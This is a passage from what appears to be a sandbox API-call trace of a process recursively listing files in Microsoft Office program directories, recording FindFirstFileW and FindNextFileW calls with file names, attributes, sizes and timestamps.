ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1 [0286.944] GetProcessHeap () returned 0xaf0000 [0286.944] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.945] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENFR\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0286.945] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.945] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9429c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1 [0286.945] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9429c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 0 [0286.945] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0286.945] GetProcessHeap () returned 0xaf0000 [0286.945] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.945] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1 [0286.945] GetProcessHeap () returned 0xaf0000 [0286.945] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.946] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0286.946] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.946] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c8cf9c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c8cf9c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x16478, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0286.946] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9429c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1 [0286.946] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1 [0286.946] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0 [0286.946] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0286.946] GetProcessHeap () returned 0xaf0000 [0286.947] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.947] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc91c74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1 [0286.947] GetProcessHeap () returned 0xaf0000 [0286.947] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.947] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc91c74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0286.947] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc91c74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.947] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63a12a0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf63a12a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x16478, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0286.947] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9429c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 1 [0286.948] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc91c74d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc91c74d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9429c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1 [0286.948] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc91c74d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc91c74d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9429c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0 [0286.948] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0286.948] GetProcessHeap () returned 0xaf0000 [0286.948] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.948] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27cace65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0286.948] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0df27d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x324d8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1 [0286.948] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6c45b55, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6c45b55, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c45b55, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13ed8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1 [0286.948] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6c45b55, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6c45b55, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c45b55, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13ed8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 0 [0286.948] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0286.949] GetProcessHeap () returned 0xaf0000 [0286.949] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0286.950] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca8c279f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0286.950] GetProcessHeap () returned 0xaf0000 [0286.950] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0286.950] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca8c279f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0286.951] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca8c279f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.951] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf24004e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VBA7.1", cAlternateFileName="")) returned 1 [0286.951] GetProcessHeap () returned 0xaf0000 [0286.951] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.952] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf24004e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0286.952] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf24004e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.952] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb4d4679, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4d4679, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xecf3682d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0286.952] GetProcessHeap () returned 0xaf0000 [0286.952] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a72870 [0286.953] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\1033\\*", lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb4d4679, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4d4679, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xecf3682d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0286.953] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb4d4679, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4d4679, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xecf3682d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.954] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4d4679, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4d4679, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4d4679, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x26090, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1 [0286.954] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf3682d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x208c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBEUIINTL.DLL", cAlternateFileName="VBEUII~1.DLL")) returned 1 [0286.954] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf3682d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x208c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBEUIINTL.DLL", cAlternateFileName="VBEUII~1.DLL")) returned 0 [0286.954] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0286.954] GetProcessHeap () returned 0xaf0000 [0286.954] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a72870 | out: hHeap=0xaf0000) returned 1 [0286.954] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb5e071a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42d088, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0286.954] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb652e29, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x281288, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBEUI.DLL", cAlternateFileName="")) returned 1 [0286.955] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf24004e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x27cd30bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52aae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBEUIRES.DLL", cAlternateFileName="")) returned 1 [0286.955] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf24004e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x27cd30bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52aae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBEUIRES.DLL", cAlternateFileName="")) returned 0 [0286.955] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0286.955] GetProcessHeap () returned 0xaf0000 [0286.955] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.955] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf24004e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VBA7.1", cAlternateFileName="")) returned 0 [0286.955] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0286.955] GetProcessHeap () returned 0xaf0000 [0286.955] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0287.433] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0287.434] GetProcessHeap () returned 0xaf0000 [0287.434] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0287.436] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft 